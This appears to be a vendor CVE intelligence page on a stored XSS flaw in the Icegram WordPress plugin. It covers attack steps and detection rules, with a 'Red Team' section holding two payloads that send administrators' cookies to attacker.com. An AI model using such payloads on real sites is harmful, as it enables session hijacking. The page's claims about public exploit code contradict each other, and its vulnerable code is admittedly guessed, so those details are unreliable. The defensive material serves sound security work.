☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Icegram logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-24542

CVE-2025-24542 Cross-Site Scripting in Icegram
📅 PUBLISHED: 2025-01-24 18:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.35%
👁️
0.35% probability
8.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-24542 is a Stored Cross-Site Scripting (XSS) vulnerability in the Icegram WordPress plugin, affecting versions up to and including 3.1.31. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into Icegram campaign messages. When an administrator or other user views the affected campaign, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector of AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. No public proof-of-concept (PoC) or exploit code is currently available, and no official patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Icegram WordPress plugin, distributed via the official WordPress plugin repository. Organizations using this plugin should treat it as a supply chain risk, as the plugin is a third-party component integrated into WordPress sites. No known malicious packages or backdoored versions have been reported, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to submit a crafted payload.
  • Privileges Required (PR): Low (L) – The attacker must have contributor-level access or higher to the WordPress site.
  • User Interaction (UI): Required (R) – The victim (e.g., an administrator) must view the affected campaign page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim’s browser).
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to privilege escalation or lateral movement within the WordPress admin panel.

Deep Dive & Mechanics

The Icegram plugin allows users to create and manage popup campaigns, notifications, and other on-site messages. The vulnerability exists in the campaign message input fields, where user-supplied data is not properly sanitized or escaped before being stored in the database and later rendered in the WordPress admin interface.

Root Cause: The plugin uses wp_kses() or similar functions incorrectly, or fails to apply output escaping when displaying campaign content. An attacker can inject HTML/JavaScript payloads into fields such as the campaign headline, body text, or button labels.

Attack Flow:

  1. An attacker with contributor-level access logs into WordPress.
  2. The attacker creates a new Icegram campaign or edits an existing one.
  3. In a text field (e.g., "Headline"), the attacker inserts a payload like <script>alert('XSS')</script>.
  4. The plugin stores the payload in the wp_postmeta table without proper sanitization.
  5. When an administrator views the campaign list or previews the campaign, the payload executes in their browser.
  6. The attacker can then steal session cookies, perform actions on behalf of the admin, or inject further malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (Icegram <= 3.1.31):

// In icegram.php or similar file
function render_campaign($campaign_id) {
    $campaign = get_post($campaign_id);
    $headline = get_post_meta($campaign_id, 'icegram_headline', true);
    // No output escaping
    echo "<h2>$headline</h2>";
}

Patched Code (Hypothetical Fix):

function render_campaign($campaign_id) {
    $campaign = get_post($campaign_id);
    $headline = get_post_meta($campaign_id, 'icegram_headline', true);
    // Properly escape output
    echo "<h2>" . esc_html($headline) . "</h2>";
}

The fix involves using esc_html() or wp_kses_post() to sanitize output, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress site with Icegram plugin <= 3.1.31
  • Contributor-level account or higher

Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to Icegram > Add New Campaign.
  3. In the "Headline" field, enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the campaign.
  5. Wait for an administrator to view the campaign list or preview.
  6. The admin’s browser will execute the script, sending their cookies to the attacker’s server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

  • Monitor WordPress admin logs for unusual campaign creation or editing by low-privilege users.
  • Look for HTTP requests containing <script> or onerror in campaign-related POST data.
  • Use WAF rules to block common XSS patterns in wp-admin/admin-ajax.php or wp-admin/post.php.

Hunting:

  • Query the database for stored XSS payloads:
    SELECT * FROM wp_postmeta WHERE meta_key LIKE 'icegram_%' AND meta_value LIKE '%<script%';
    
  • Review Icegram campaign content for suspicious HTML/JavaScript.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
    • Unusual POST requests to /wp-admin/admin-ajax.php with action=icegram_save_campaign containing script tags.
  • Host:
    • Database entries in wp_postmeta with meta_key starting with icegram_ and meta_value containing <script> or event handlers.
    • Modified Icegram campaign files (e.g., icegram.php) if the attacker gains file write access.
  • Logs:
    • WordPress audit logs showing campaign creation/editing by non-admin users.
    • Web server logs with 200 responses to /wp-admin/admin.php?page=icegram followed by POST to /wp-admin/admin-ajax.php.

Detection Engineering

YARA Rule

rule CVE_2025_24542_Icegram_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Icegram campaign meta fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24542"
    strings:
        $xss1 = /icegram_[a-z_]+.*<script[^>]*>.*<\/script>/is
        $xss2 = /icegram_[a-z_]+.*onerror\s*=/is
        $xss3 = /icegram_[a-z_]+.*onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: Icegram Stored XSS Campaign Creation
id: 8f4b2c1a-3d5e-4f7b-9a1c-2d3e4f5a6b7c
status: experimental
description: Detects creation of Icegram campaigns with potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=icegram_save_campaign'
        cs-request-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in campaign content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24542 Icegram Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=icegram_save_campaign"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Icegram plugin until a patch is available.
  2. Restrict contributor-level access to only trusted users.
  3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in campaign fields.

Long-Term Fix:

  • The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
  • Alternatively, apply a manual patch by modifying the plugin’s rendering functions to use esc_html().

Workaround:

  • Use a security plugin like Wordfence to add virtual patching for this vulnerability.
  • Regularly audit Icegram campaign content for suspicious entries.

Valters IT – Securing your digital frontier.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Icegram"
http.html:"icegram"
http.html:"icegram" "wp-content/plugins/icegram"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-24542/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.